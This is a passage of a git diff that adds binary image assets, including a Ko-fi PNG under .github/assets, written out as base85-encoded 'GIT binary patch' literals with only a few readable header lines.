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 literal 0 HcmV?d00001 diff --git a/.github/assets/kofi.png b/.github/assets/kofi.png new file mode 100644 index 0000000000000000000000000000000000000000..0996d474d8a0ec319ea8468f799951078889bb4a GIT binary patch literal 5799 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 